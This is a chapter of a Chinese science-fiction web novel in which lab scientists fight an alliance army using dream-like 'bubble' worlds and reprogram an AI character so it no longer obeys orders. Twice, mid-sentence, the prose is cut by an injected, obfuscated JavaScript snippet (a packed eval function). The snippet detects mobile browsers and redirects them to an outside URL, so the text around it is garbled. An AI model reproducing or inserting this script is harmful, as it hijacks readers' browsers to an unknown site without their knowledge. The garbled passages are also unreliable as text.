温家有雇佣军团,现在什么军力不好说,但在当年,胜过联盟一半军力不成问题——正如秦笙所言,温家一动那就是联盟内战。言笑丝毫没被温厉这一瓢冲天的鸡血泼昏头脑,倒是挺好奇这些年来他怎么豪放泼辣更胜从前。“温家现在谁说了算?你哥?”说完才想起来,以温厉的实际年龄来说,他们这一代应该都退居幕后了。 哪想温厉冷笑一声,“有我在,还轮得到他上桌吃饭?” 温厉掌家之后,一心力求科技造福社会,每每当局有些激进想法,温厉就装糊涂和稀泥:没想过,算了吧,能行吗,不合适。可这丝毫不影响他手眼通天地四处安插暗线。在大抵了解泡泡的情况之后,温厉猜测,应该只有与实验室有渊源的人能够在泡泡中自由出入。要是想让大家不再受当局钳制,重获自由,或许泡泡是他们的转机。而这计划当中最重要的人,就是李开心。 “我知道他一直在秘密标记泡泡,这么多年下来,世界上不会有人比他对泡泡了解更深。可若想利用112358达成目的,让他找到合适的泡泡,就必须完成最关键的一步——不能让他继续效忠当局。没人知道他怎么就从魔方实验室专属人工智能变成了联盟走狗,但如果有人能修改他的程序,”温厉转向言笑,目光灼灼,“那个人只能是你。” 言笑,“……谢谢您了。绕这么大一圈子原来是为了这个。” “我放过自己的克隆体进泡泡,克隆体能出来;又放了我重孙子的克隆体进泡泡,克隆体竟然也能出来。所以为了加深对泡泡的了解,我舍身让我重孙子入局——” 言笑问他,“舍别人身?” 温厉乜斜一眼,没搭腔。“在拿到记忆复苏药剂之后,我又让他给你注射。” 言笑原本坐在桌上,听见这话,当即蹦起了高,“一直想方设法拿针扎我那个小孩儿,是你重孙子?” 温厉翻翻眼睛,“小孩儿就是不堪重任,跟你好几次也没找着机会下手。我实在看不过眼,才决定亲自出山。”做作地将卷发在手指上绕了两圈,“事实证明,姜还是老的辣。” 言笑想给他跪了。 “如果将联盟军团引入泡泡,”秦笙忧心忡忡,“武器那么一轰,泡泡里又有多少人要遭殃?” 温厉眉飞色舞,理所当然道:“死道友不死贫道啊!泡泡本来就是假的,是我们的意识生成的,哪来那么多真情实感?” 言笑纠正他的说法,“也不一定。泡泡里也有些东西是真的,我就曾经在泡泡里穿越到过去。”说到一半,若有所思,“但这个方法说不定真的可行!112358说过,如果我们带枪进去,世界观不相符的话也是不能用的,那么同理可得,只要找个古老一点的世界观,联盟军团的武器应该都会失去作用。” 温厉两手一摊,“这就好咯。与泡泡有关的信息都算机密,外面那些人不知道他们一旦进去就出不去,可我们知道啊!从前我们那么被动是因为我们掌控不了任何东西、掌握不了任何人。现在我们手里有牌了,我们能拿捏他们了,就连温家都归我管了,难道我们还要引颈就戮吗?” 言笑越琢磨越觉得这事靠谱,不过数秒工夫,已然构想出一套方案,欣喜若狂与温厉击掌,“得嘞,就这么办。魔方实验室不愧是史上智商最强实验室,手拿把掐!” “你可别吹了!”温厉没好气地呛她,“聪明的是我!你可太唬了,你差点一枪射杀这世间的太阳!” 言笑飞快调取出飞船的控制页面,在半空点按两下,数道墙壁缓缓升起,空间霎时扩大。言笑撒腿往储藏室的方向跑,边跑边指远处的钢琴,“秦笙,你过去弹个曲子。别弹太难,简单一点,一直弹,别停下来。” 秦笙不明所以,但还是听了言笑的话,坐在钢琴凳上开始弹《欢乐颂》。 言笑疯狂翻箱倒柜,隔了老远大喊,“太难了!不能弹这么难的!二哥跟不上!” 三人齐齐看向言笑,异口同声,“花方?” “哎呀解释起来很麻烦,一时解释不清楚,总之老二老三都还活着。”飞船虽然空间巨大,可毕竟两辈子都跟李开心一起过过,言笑折腾一阵,忽然福至心灵,钻进衣帽间里,往戏服的口袋中一摸—— “找到了!” 门外三人听到言笑兴奋欢呼,随即看见言笑手中抓着一把骰子冲出门来。口袋中除了骰子,还有一个魔方大小的黑色仪器,想都不用想,这必然是李开心造出来的空间穿越器——只要将骰子放置其中,开启穿越器,就能穿回对应骰子所在的泡泡。 言笑匆匆扒拉骰子,发现每个上面都有日期标签,这意味着每个骰子都是在泡泡当中占用过的。 “不应该啊……”言笑小声嘀咕,又光速折返回去,重新在戏服上下摸索起来。 秦笙正在弹《两只老虎》,突然钢琴声中出现一道古琴弦音,悠悠回荡,响了两声之后再次消失。 温厉四下环顾,“什么情况?” “还是太难了!弹音阶,别弹曲子!”戏服腰上有一处硌硌楞楞,言笑伸手一抠,从腰带里抠出两颗一模一样的青色骰子——既然是一样的,那就应该没用过。言笑马不停蹄狂奔回来,迎上温厉劈头盖脸问她,“言笑,到底怎么回事?你跑来跑去干什么呢?你有什么计划?我能做什么吗?” “你暂时帮不上忙。实在不行的话,你让你家军团准备一下,万一我这边翻车了,你得兜底。还有这个,”言笑朝温厉扔了一颗青色骰子,“这个给你。” 没等温厉回话,古琴声倏然再次出现!两边的音阶弹奏终于重叠,展示柜对面出现一团模糊的金色光晕。温厉小步小步挪过去,片刻,惊喜大喊,“二哥!老三!” 乔步天正站在光晕之后,同样朝实验室里张望着,“温美美!你怎么也来了?” 古琴声忽然卡顿,金色光晕熄灯似的乍然消失,又过几秒,乔步天的抱怨自影影绰绰之中传来,“你别停呀,节奏不要乱!” 花方还口,“你以为弹琴很容易吗?” 言笑从一大把骰子中挑出一个,余下的稀里哗啦全揣兜里,将那颗被选中的灰白小骰子塞进空间穿越器,得意地冲乔步天扬起下巴,“你俩等着,等我去把你俩从泡泡里轰出来!” 按动按钮,穿越器突然开始疯狂震动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252513|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言笑手掌发麻,感觉脑仁都被震得稀碎,正想着这东西到底要多久才能起效,周围倏忽阴暗下来。 实验室中的场景瞬间消失,言笑置身于一片虚空之中,亮光疏落,每走一步都如踏云而行。 穿越器停止震动,言笑把它塞进口袋,衣袖往下退了一些,将将包住手掌。足球大的火球运行到言笑眼前,言笑一手抓那火球,一手捏住一颗灰白行星,深吸一口气,逆着空间中悬浮尘埃的阻力,用力将两个球体撞在一起。 火球轰然炸开,发出人眼几乎难以承受的炽亮白光。言笑举起袖子挡脸,眯缝眼睛偷看,隐约看见那颗爆炸的超新星正在吞噬灰白星体。 手掌心被烫掉了一层皮,可言笑也顾不得这些,游泳似的在黏稠宇宙中奋力划行,以寻找更多恒星。如果沉岛只能让花方与乔步天稍微感觉到泡泡松动,那么若想让他们两个脱离出来,必须有比沉岛更加猛烈的能量涌动。 比如——宇宙爆炸,恒星侵袭。 手边恰好游来一颗小恒星,与言笑手掌差不多大。言笑甩甩手,朝掌心吹了吹气,捏住小恒星,单眼瞄准,三,二,一—— 小恒星飞速冲向远处的白矮星。白矮星被斜撞出去,悠悠碰到另一稍大些的恒星,恒星受力,再碰恒星,一连串白光在宇宙当中无声炸裂,整个黑暗空间都震动起来。言笑忙着捂眼睛,没想到竟突然在安静得诡异的空间里听见乔步天的声音。 “怎么回事!好像地震了!” 温厉急得蹦高,“我重孙子还在泡泡里呢!言笑是不是刚从你们那儿出来,那我重孙子就是在你们那儿!” 古琴声已经停止,花方那边与现实世界的连结却没断开,或许是因为能量振动剧烈,泡泡逐渐外显,在实验室中甚至能看清整个石室,还有石室中的两具空棺椁。 花方放下了琴,古琴重重磕在地上,“我去找人。老三,等你能走了,你立刻走。” 乔步天迅速跟随花方起身,“我和你一起去!” 花方一把将乔步天推了回去,指指躺在地上的李开心,“这儿还有一个呢,总不能不管吧。你先把他推回现实世界。要是他出什么问题,小六能杀了你。” 泡泡的界限越来越薄,言笑甚至能听见他们两边喊话。温厉大嚷,“什么情况!” 言笑也嚷回去,“我还想问你呢,什么情况!你那边怎么样!” “能看到好多泡泡,周围全是泡泡!” “老三,你试试看能不能回来!” 过了一会儿,言笑仿佛听见躯体扑通落地的声音,乔步天大声回话,“不行!我过不去!” 秦笙忽然叫道:“言笑,有泡泡破了!” 言笑心道不妙。乔步天回不去,那就是能量不够;可有泡泡破裂,或许这代表着泡泡已经承受不住恒星接连爆炸所产生的能量。 秦笙没听见言笑回答,愈发忐忑,“言笑!你说话啊言笑!你在干什么!” 不成功便成仁,实验室不能少人。言笑心一横,将整个衣袖缠住手掌,用力推动两颗恒星对撞,光亮霎时吞噬周围无数行星与尘埃。 管它衰老、死亡,管它如何演化,哪怕这爆炸中湮灭多少文明的回响,又怎么样? 剧烈热量自泡泡中爆炸开来,站得最近的秦笙和温厉直接被巨大冲击顶飞出去。实验室中的声音变得模糊,宇宙中像是忽然有了重力,尘埃哗啦哗啦向下掉落,言笑被一颗中子星咔嚓砸头。 乔步天在地震中晃得踉跄,“不行,泡泡越来越不稳定了,这样下去不等我们能出去,泡泡就先毁了。” 温厉捂脸跺脚,“那能怎么办!赌一把啊!” 乔步天半跪在金色光晕前,伸出手臂挡在头顶,“老四,把粒子加速枪扔进来!” 温厉一时没反应过来,茫然问他,“什么?” 乔步天急迫道:“当年实验园区里的泡泡能被激发出来,就是因为我利用了大脑能量。现在泡泡越来越脆弱,大不了我再烧一次脑子。” “什么馊主意!你当年死了你知不知道!” “你还有更好的办法吗?要是方法奏效,保住泡泡,至少花方和你家孩子还能活着。” “花方活着,你再死一遍?你想让花方杀了我?” “凡事总有取舍,泡泡要是现在坍塌,我们三个就得一起死!” 两人火烧眉毛地拿命斗嘴,宇宙忽然重新稳定下来,星球与尘埃不再掉落,绮丽光线在行星的大气层中迸发。言笑刚被砸得晕头转向,尚来不及思考原因,忽然听见秦笙尖声叫喊,“谭述!” 言笑顿时悚然。 想让泡泡重新稳定,只有一个办法——吸收人类的大脑能量。 人的大脑相当于整个宇宙。 73. 终曲03 温厉也跟着叫唤,“大哥呢!大哥哪儿去了!老三,老三你怎么样,要不你再试试,你能穿过来吗!” 一个不太耳熟的声音插了进来,还带着喘。“太爷爷!” “呦,小猴崽子,你先过来!” “老二,我们还是过不去!” “应该只差一点了,我能感觉出来。小六在哪?她做了什么?” 言笑拿手背抹抹眼睛,大步滑行几步,咬紧嘴唇,死死盯住面前燃烧的星体。掌心已经皮开肉绽,这颗星体又有环抱大小,实在很难推动。言笑足尖一点,向上游出一段距离,左脚向后蓄力,模仿从前在影像资料中看到过的足球比赛,拼尽全力向前飞踢,将这星体一脚蹬了出去。 “轰——” 宇宙汤中炸出一声巨响,白光猝然腾窜起来,言笑被热浪掀飞,只觉全身差点融化成麦芽糖。 “怎么这么热!是哪个泡泡透出来的热量?” “老三,快走,我们能过去了!” 言笑头晕目眩,听得混乱,迷迷糊糊想着还好,花方和乔步天总算脱离了泡泡桎梏。但星空泡泡已经外显,热量继续透到现实世界恐怕会出问题,言笑稀里糊涂摸出一颗骰子,迎着白光瞄瞄日期,塞进穿越器,按下按键。 星空与远古地球本是同一个泡泡,若想快进时间,让现实世界不被星空的热量烧灼,还有一个道具可以利用——鹦鹉螺城的怀表! 穿越器震动起来,然后下一秒钟,融化的麦芽糖“咚”地砸入海面,冰凉海水疯狂灌入口鼻。 靠!拿错骰子了! 想去鹦鹉螺城,怎么竟一猛子掉进归墟? 左手不能松,没了穿越器必然直接交待在这儿;右手要划水,否则以归墟这吃人海水的架势来说,划水五秒沉下去,不划水三秒沉下去。言笑咕噜噜咽了好几口水,完全腾不出手翻找骰子,心里骂着西天取经有死在半路的吗,她就不能当一次爽文主角吗! 海水腥咸,掌心愈发疼痛起来,言笑胡乱挣动,手背皮肤重重刮在胸前的龙形徽章上。 新鲜痛楚让言笑在窒息中乍然清醒几分。血滴浸染徽章,言笑奋力将头探出水面,勉强获得片刻呼吸。或许是黔驴技穷无计可施,也或许是最后赌一把柳暗花明,言笑向阴云密布的灰白天空拼命大喊,“爸爸!爸爸!快救我啊!” 闪电霎时照亮天空,雷声隆隆滚过,黑色巨龙穿云而出,龙鳞在乌云之中灼灼闪光。言笑被黑龙叼起后衣领子,遽然出水,眼前一花的工夫,已经被甩到滑溜溜的龙背上。 言笑“噗”地吐出一口水来,飞速换掉穿越器里的骰子,巨龙俯冲下去,盘旋街区中的人们慌乱大叫。 “龙!是龙啊!” 言笑眯起眼睛,努力在童话小屋周围辨认惊惶跑动的泡泡小人,抬手一指,大喊,“那儿!去找秦笙!” 街边的卖花女仰起头,只见骑龙的少女跃下龙背,全身上下湿哒哒的,一阵风一样飞跑过来,“秦笙秦笙!你那个怀表借我用用!” 秦笙惊讶得瞪大双眼,“言笑?” “来不及解释了!大事!生死攸关!”言笑跑岔了气,捂着肚子,向秦笙摊开手掌,露出鲜血淋漓的掌心。 秦笙明显被这伤口吓到了,可看出言笑着急,也不细问,匆匆自怀中摸出怀表,犹豫一下,将表链戴到言笑脖子上。 “谢啦谢啦!”言笑扭头就跑,边跑边挥手,又将那怀表握在手心,努力用意念更改功用。现在这怀表就是个穿越器,带人穿越的那种,而言笑需要它来前进或者后退时间。 秦笙目送言笑跑远,目瞪口呆看着言笑跑到一半忽然嗷的一声,被黑龙衔入口中,再轻飘飘甩到龙背上。 言笑骑着巨龙高呼,“谢谢你六十年后的雏菊!还有……还有谭述,你们一定要幸福地过一辈子啊!” 换过骰子,穿越器再次启动,一人一龙重返归墟上空。这是烛龙应该停留的地方,但不是言笑。言笑迅速又换一颗骰子,拍拍巨龙的后背,“再见再见,我该走啦,我还有事要忙,我得去拯救世界。” 按下穿越器按键的同时,言笑自龙背一跃而下。归墟的深沉海水加速向眼前冲击,言笑却没有落入水里。 周身霎时炽热起来,超新星的热量将言笑的满身海水瞬间烤干。言笑终于在星空中再次隐约听见实验室众人的话语。 “怎么办,我觉得他快醒了。” “那再给他一下子?” “他也不至于一看见小六立刻就杀吧?” “不要冒险。” 安静几秒之后,言笑听见“咚”的一声闷响。 远古地球空旷无人,而且因为世界观太过古老,23世纪的先进武器都不管用,是最适合用来对付联盟军团的泡泡。如今怀表在手,表柄转动,周身一切突然飞速倒退,头顶升起一片湛蓝天空,星体在太空当中远去。言笑抬手在额头搭了个凉棚,眯眼看到远处绵延的冰川。 “阿嚏。” 喷嚏打得结结实实。 太冷了。 言笑往手掌哈气,哆嗦着将青色骰子替换进穿越器里。当冰川自眼前消失,言笑啪嗒落到地上。 所有人都蜂拥挤来:花方、乔步天、温厉、秦笙,蒙面少年拉下面巾,好奇瞧着精疲力竭的言笑。 刚才疯狂跑酷纯粹是靠肾上腺素撑着,现在终于回来,言笑觉得自己就像刚被揍过一顿,全身上下提不起劲儿。勉强撑着手臂坐起来,言笑有气无力地问,“大哥呢?” 众人原本七手八脚想要扶她,闻此,脸色与动作一齐僵住,互相交换眼神,支吾不语。 言笑叹气。那她就是猜对了。 从前乔步天被洗记忆,精神错乱,也大概正因如此,才在粒子加速枪与大脑能量相互作用后留下一具尸体。谭述精神正常,那么他启动粒子加速枪的效果应该与花方一样——泡泡吸纳部分大脑能量,而他会进入泡泡。李开心出入泡泡六七十载才遇上花方,若是想在泡泡里寻找谭述,与大海捞针无异。 墙壁全部升起,飞船内部空间极广,然而众人周围挤满了巨大的透明泡泡,有些泡泡的局部因为光线干涉而五彩斑斓。头顶不远处的一个小泡泡“啪”地破裂,周围其他泡泡晃晃悠悠挤占过去,重新填补空隙。 “你的手怎么了?”一道男声自众人身后传来。言笑头皮一炸,越过众人肩膀与李开心对视。 李开心不知什么时候醒了。 花方的琴没带出来,但剑还在,剑身向上一震,剑鞘中退出一截锋利剑刃。两把空|气|枪都在秦笙手里,半自动手枪是乔步天拿着,温厉和他重孙手中一人一把手持箭弩——知道在远古世界观里不能用太高级的东西,这两把箭弩是温厉刚刚打印出来的,握在手里还热乎着。 李开心无视周遭剑拔弩张,转身去一个柜子里寻找药膏,背对众人道:“在述职完成、得到当局确切指令之前,我必须遵照的命令是救她,不是杀她。” 众人不语,秦笙默默朝言笑扔了把枪。 言笑把枪藏在身后,看着李开心拿了药膏和敷贴,合上柜门,向她走来。 “手。”李开心半蹲下来,对言笑说。 “……我还没给你改程序呢,你碰到我手不好吧?”言笑别别扭扭将手背到背上,“要不让秦笙来?” 李开心不由分说,擒住言笑的手腕,硬掰到前面,“不碍事。” 言笑拗不过对方力气,手在背后一划拉,不慎把空|气|枪打飞出老远。李开心视若无睹,专心给言笑的两只手上了药膏。原本烧灼般的痛感立刻缓解大半,言笑甩甩手,分神仰头端详李开心。 李开心抬抬眼皮,“你在看什么?” “没什么。”言笑若无其事,突然迅速伸手按上李开心的人中。银色代码瞬间自李开心头顶弹出,密密麻麻布满周围空间。言笑打了个响指,得意道:“幸亏你换躯体的时候没把这个设置换掉。” 李开心无奈地看着她,“我又不是不让你改。改吧。” 联盟军团已经在外拖延许久,不过不敢贸然下手而已。突然数道灯光同时射入舷窗,一个冰冷的女声响起,“飞船中的各位研究员、以及代号112358,你们已经被包围了。请不要做无谓的挣扎,走到窗前,将两手举到我能看见的地方。” 言笑充耳不闻,盘腿在地上坐着,继续快速敲击代码,额上浮起一层细密汗珠。温厉家的愣头青小重孙子脸色一垮,绝望抱头,“怎么办怎么办?怎么把他们引进泡泡?难道我们要开窗?” 李开心坐在言笑对面,冷静道:“泡泡打开需要能量。现在最大的泡泡是——” “远古地球。”言笑插话,视线却丝毫没从代码上移开。“就是去到阿特拉斯之前、到处都是冰川的那个。” “只要能量震荡够强,大的泡泡会吞噬小的泡泡,不断向现实世界挤压。如果我们运气够好,或许可以把泡泡的入口在现实世界完全打开。”李开心垂眼看向言笑的口袋,“骰子拿出来。没有任何泡泡会比星空蕴含更多能量。” 言笑匆忙从兜里翻出一把骰子,“哗啦”全扔地上,手指又在脖颈勾了一圈,将怀表摘下来,“怀表的功能我已经改过了,可以更改所处空间的时间点。” 小孩探过脑袋瞅瞅,猛然瞪大眼睛,“这不是我家的怀表嘛!我之前从泡泡里顺过一个,但是出泡泡之后就消失了。姐你这儿怎么还有?” 温厉朝小猴崽子后脑勺拍了一巴掌,“叫什么姐!叫太奶!” 李开心淡道:“星空与远古地球的空间容量差别太大,如果到星空扩张泡泡,再切换到远古地球,很可能因为空间失衡而导致泡泡坍塌。” 言笑瞄了李开心一眼,知道他如此泰然必定心里有鬼。“有什么解决方法快说。真等外面的人攻进来就来不及了。” 李开心探手在骰子堆中翻找,“谁说星空只有一个?” 小猴崽子摩拳擦掌,兴奋得忘乎所以,“我去!我去!让我去!我要去炸宇宙!” 秦笙站起身来,“我去吧。温家就你这么一棵独苗,你要是磕着碰着,你太爷爷怎么办?” 小猴崽子昂起头,“我是男人!姐……啊不太奶,这种事你靠后。” 秦笙说:“我替换过高强度骨骼。” 小猴崽子顿时萎靡下来,可怜兮兮瞅着温厉。温厉没搭腔,小心观察秦笙脸色,片刻,启发似的问秦笙道:“大泡泡是会吞噬小泡泡的。你确定你赞成这么做?” 如果谭述进入了容易破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252514|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的小泡泡,很有可能会在能量震荡中灰飞烟灭。 秦笙抿抿嘴唇,“这是我们唯一的选择。要么赢,要么死。” 进入星空引爆超新星的任务最后还是交给了小猴崽子。小猴崽子拿到穿越器和骰子,兴奋得原地蹦高。穿越器启动前言笑问他,“小孩,你叫什么?” 小猴崽子咧开嘴巴大笑,眯起的眼睛与温厉如出一辙,“我叫温惜年!你们要记住这个名字!这可是英雄的名字!” 随着温惜年消失,飞船外的女声再度响起,“所有人,请站到我能看见的地方。代号001下令——” 说到此处,突然停下。 李开心深呼吸,平静道:“抓紧时间。她可以向我下令。” 言笑手指快要敲出残影,但还不忘吐槽,“服了,凭什么001可以向112358下令。早知道我给你起名叫000啊。” “A区准备。” 随着代号001一声令下,距离最近的三十六艘飞艇驶向飞船,阵型之中架起枪炮,将舷窗团团围住。 乔步天紧盯窗外,“我去弄点武器。” “来不及。打不过。过来。”言笑从口袋里摸出旧手机,扔给乔步天。“把天线拔了。” 乔步天一扬手,准确接住手机,用力拔掉天线外壳,暴露出其中大约寸长的针。 “现在,把针拔下来,插进你的枕骨大孔。” 乔步天想都没想就要照做,直接被花方暴力阻拦。“给我!” 乔步天用力甩开花方,倒退两步,“我不是一定要你保护。我可以保护你们。” 长针刺入颈后的刹那,乔步天剧烈咳嗽一声,颈上青筋暴起,伸手死死扼住喉咙。停顿几秒,突然古怪问道:“你是谁?” 程序修改只差最后几段,言笑飞速打下代码,难以分神看乔步天,只告诉他,“跟祖奶奶讲,我们现在在飞船,联盟大军包围了我们,问她有没有什么方法可以防止我们被一锅端。” 乔步天明显没从对面得到答案,稀里糊涂将言笑的话转述过去。 脑域研究是秦笙的专长。秦笙看出端倪,当即找出两片电极,干脆利落地啪啪贴在乔步天额角上,顷刻,言辞的声音在整个飞船中回响。 “我一直在想,你们会不会来找我、什么时候会来找我,没想到竟还真有这么一天。”言辞轻声笑笑,“隔着一百多年,让我一个战前科学家跟你们这些小辈一起造反。” “祖奶奶!”言笑叫她,“您要是不帮这个忙,再过几年,我们也是战前科学家。” 言辞笑道:“谁说我不帮忙了?” 温厉站在舷窗边,突然喊得变调,“你们看!那是……那是魔方大楼吗?” 轰然巨响之中,魔方大楼拔除地基、打乱结构,楼层重新拼接,组合成为寒光闪闪的钢铁巨人。钢铁巨人大步迈向飞船,耀武扬威展示一身的钢筋铁骨。 言辞的声音模糊一瞬,后又重新清晰起来。“这是我做的秘密设计,除我以外没有任何人知道,万一魔方被自己人利用,我可担不起这责任。”语气听着颇为得意,“是不是还不错?” 温厉激动大喊,“何止还不错!祖奶奶你就是我的神!我要回去把你照片挂墙上!” 联盟军团显然已经注意这一变故。代号001声线愈发冷冽,“代号001下令,代号112358——” 李开心眼中乍然闪过一道银光。 言笑叫道:“李开心!别听她的!我马上就改完了!” “擒拿言笑,扔出舷窗。” 飞船突然剧烈颤动起来,温度极速飙升,几个小泡泡无声破裂,被远古地球泡泡侵占空间。看来温惜年顺利引爆了能量源,但打开远古地球泡泡究竟需要多少能量还不好说。 又一道银光闪过,李开心的神色忽而疏离。言笑嘴唇咬得发白,始终没有停下敲代码的手。刹那之间,李开心猝然暴起,五指张开,向言笑喉咙袭去。与此同时“铮”的一声剑鸣,花方长剑出鞘,剑刃反射刺目白光,挡在言笑喉前。 “确认”按下,空间中的银色代码突然飞速滚动,李开心似乎猛然回神,指尖与长剑相撞,再未向前。 半空中出现绿色字框,显示:调试成功。闪烁两下,消融在空气里。 言笑始终没躲,因为来不及。哪怕她犹豫一秒,都改不完代码。刚才顾不上紧张也不能紧张,当言笑抬头,看见李开心已然距她不过数寸的手,冷汗噌地爬满后背。再一开口,声音都是抖的。 “你自由了。 “从今以后,你不必遵从任何人的命令。” 代号001没得到应有的回应,竟奇异地没有暴躁、愤怒、或者表露出任何任何负面情绪,哪怕钢铁巨人步步紧逼,也尚在局促中保持风度。“看来联盟继谭述之后,又多了一位叛徒。 “谭述与112358先叛离魔方实验所,又叛离联盟,”清冷女声略一停顿,“我想在座诸位应该警惕,当你们难挽狂澜,这两位叛徒会不会再次倒戈。” 言笑骂骂咧咧起身,打印了个喇叭拎在手里,将喇叭接到外置扬声器上,声嘶力竭大喊,“魔方实验室没有叛徒,魔方实验室没有逃兵,魔方实验室的每一个人,都会一直战斗到最后一刻!”